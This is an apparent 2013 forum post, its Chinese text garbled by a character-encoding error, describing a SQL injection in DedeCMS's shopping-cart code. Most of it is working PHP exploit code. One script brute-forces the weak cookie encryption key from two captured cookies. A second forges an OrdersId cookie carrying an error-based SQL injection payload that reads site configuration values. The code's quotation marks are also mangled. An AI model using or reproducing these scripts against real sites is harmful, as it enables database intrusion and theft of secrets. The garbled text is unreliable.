admin ·¢±íÓÚ 2013-2-13 23:58:29

Ö¯ÃÎCMS©¶´dedecms©¶´SQL×¢Èë©¶´

www.xxx.com/plus/search.php?keyword=
ÔÚ include/shopcar.class.phpÖÐ
ÏÈ¿´Ò»ÏÂÕâ¸öshopcarÀàÊÇÈçºÎÉú³ÉcookieµÄ
239      function saveCookie($key,$value)
240      {
241          if(is_array($value))
242          {
243            $value = $this->enCrypt($this->enCode($value));
244          }
245          else
246          {
247            $value = $this->enCrypt($value);
248          }
249          setcookie($key,$value,time()+36000,¡¯/');
250      }
¼òµ¥µÄ˵£¬$key¾ÍÊÇcookieµÄkey£¬value¾ÍÊÇvalue£¬enCodeµÄ×÷ÓÃÊǽ«arrayÀàÐÍת±äΪa=yy&b=cc&d=knowÕâÑùµÄÀàÐÍ£¬¹Ø¼üÊÇenCryptº¯Êý
186      function enCrypt($txt)
187      {
188          srand((double)microtime() * 1000000);
189          $encrypt_key = md5(rand(0, 32000));
190          $ctr = 0;
191          $tmp = ¡±;
192          for($i = 0; $i < strlen($txt); $i++)
193          {
194            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
195            $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
196          }
197          return base64_encode($this->setKey($tmp));
198      }
213      function setKey($txt)
214      {
215          global $cfg_cookie_encode;
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
217          $ctr = 0;
218          $tmp = ¡±;
219          for($i = 0; $i < strlen($txt); $i++)
220          {
221            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
222            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
223          }
224          return $tmp;
225      }
enCryptµÄ²ÎÊý$txt ÎÒÃÇÊÇ¿ÉÖªµÄ£¬·µ»ØÖµ¾ÍÊÇcookieµÄÖµ£¬Õâ¸öÎÒÃÇÒ²ÊÇ¿ÉÖªµÄ
È»ºóµ½ÁËenCryptµ÷Óà setKeyʱµÄ²ÎÊý$tmp£¬Õâ¸ö²ÎÊýÔÚijÖÖÒâÒåÉÏ£¬ÎÒÃÇÒ²ÊÇ¿ÉÖªµÄ£¬ÒòΪ$encrypt_key = md5(rand(0, 32000));Ö»ÓÐ32000ÖÖ¿ÉÄÜ£¬ÎÒÃÇ¿ÉÒÔÍÆ³ö32000ÖÖ¿ÉÄܵÄ$tmp£¬´Ó¶øÍƳö32000ÖÖ¿ÉÄܵÄmd5(strtolower($cfg_cookie_encode))£¬¶ÔÁË£¬Íü¼Ç˵ÁË£¬ÎÒÃǵÄÄ¿µÄÊÇÍÆ²â³ösetKeyÖÐ$encrypt_keyµÄÖµ£¬È»ºó²ÅÄÜÈÎÒâ¹¹Ôì³ö¹ºÎï³µµÄcookie£¬´ÓÍÆ³öµÄ32000ÖÖmd5(strtolower($cfg_cookie_encode))£¬¼òµ¥¹ýÂ˵ô·Ç×ÖĸÊý×ÖµÄkey£¬¾Íֻʣϼ¸°Ù¸ö¿ÉÄܵÄkey£¬È»ºóÎÒÃÇÔÙ´ÓÐÂÏÂÒ»´Î¶©µ¥£¬È»ºóÔÙ»ñÈ¡¼¸°Ù¸ö¿ÉÄܵÄkey£¬È»ºóÈ¡½»¼¯£¬µÃµ½×îÖÕkey¡£
¾ßÌå´úÂëÈçÏ£º
<?php
$cookie1 = ¡°X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==¡±; // here is the first cookie,change here
$cookie2 = ¡°ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==¡±; // here is the second cookie ,change here
$plantxt = ¡°id=2&price=0&units=fun&buynum=1&title=naduohua1¡å; // here is the text , change here
function reStrCode($code,$string)
{
$code = base64_decode($code);
$key = ¡°¡±;
for($i=0 ; $i<32 ; $i++)
{
$key .= $string[$i] ^ $code[$i];
}
return $key;
}
function getKeys($cookie,$plantxt)
{
$tmp = $cookie;
$results = array();
for($j=0 ; $j < 32000; $j++)
{

$txt = $plantxt;
$ctr = 0;
$tmp = ¡±;
$encrypt_key = md5($j);
for($i =0; $i < strlen($txt); $i ++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
$string = $tmp;
$code = $cookie;
$result = reStrCode($code,$string);
if(eregi(¡®^+$¡¯,$result))
{
echo $result.¡±\n¡±;
$results[] = $result;
}
}
return $results;
}
$results1 = getKeys($cookie1,$plantxt);
$results2 = getKeys($cookie2,$plantxt);
print ¡°\n¡ª¡ª¡ª¡ª¡ª¡ª¨Creal key¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¨C\n¡±;
foreach($results1 as $test1)
{
foreach($results2 as $test2)
{
if($test1 == $test2)
{
echo $test1.¡±\n¡±;
}
}
}
?>
cookie1 ºÍ cookie2 ÊÇÎÒÏÂÁËÁ½´Î¶©µ¥ºó·Ö±ðÉú³ÉµÄcookie£¬
plantxt¿ÉÒÔ¸ù¾ÝÒ³ÃæÀ´×Ô¼ºÍÆË㣬´ó¸Å¾ÍÊÇÕâ¸ö¸ñʽ£ºid=2&price=0&units=fun&buynum=1&title=naduohua1
È»ºóÍÆËã³ömd5(strtolower($cfg_cookie_encode))
µÃµ½Õâ¸ökeyÖ®ºó£¬ÎÒÃǾͿÉÒÔ¹¹ÔìÈÎÒ⹺Îï³µµÄcookie
½Ó×Å¿´
20class MemberShops
21{
22      var $OrdersId;
23      var $productsId;
24
25      function __construct()
26      {
27          $this->OrdersId = $this->getCookie(¡°OrdersId¡±);
28          if(empty($this->OrdersId))
29          {
30            $this->OrdersId = $this->MakeOrders();
31          }
32      }
·¢ÏÖOrderIdÊÇ´ÓcookieÀïÃæ»ñÈ¡µÄ
È»ºó
/plus/carbuyaction.phpÖеÄ
29      $cart    = new MemberShops();
39      $OrdersId = $cart->OrdersId;      //±¾´Î¼Ç¼µÄ¶©µ¥ºÅ
¡­¡­
173          $rows = $dsql->GetOne(¡°SELECT `oid` FROM #@__shops_orders WHERE oid=¡¯$OrdersId¡¯ LIMIT 0,1¡å);
½Ó×ÅÎÒÃǾͿÉÒÔ×¢ÈëÁË
ͨ¹ýÀûÓÃÏÂÃæ´úÂëÉú³Écookie£º
<?php
$txt = ¡°1¡ä or 1=@`\¡¯` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\¡¯` or ¡¯1¡ä=¡¯1¡å;
$encrypt_key = ¡°9f09293b7419ed68448fb51d5b174834¡å;   // here is the key, please change here
function setKey($txt)
{
global $encrypt_key;
$ctr = 0;
$tmp = ¡±;
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = ¡±;
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(setKey($tmp));
}
for($dest =0;$dest = enCrypt($txt);)
{
if(!strpos($dest,¡¯+'))
{
break;
}
}
echo $dest.¡±\n¡±;
?>

​
Ò³: [1]
²é¿´ÍêÕû°æ±¾: Ö¯ÃÎCMS©¶´dedecms©¶´SQL×¢Èë©¶´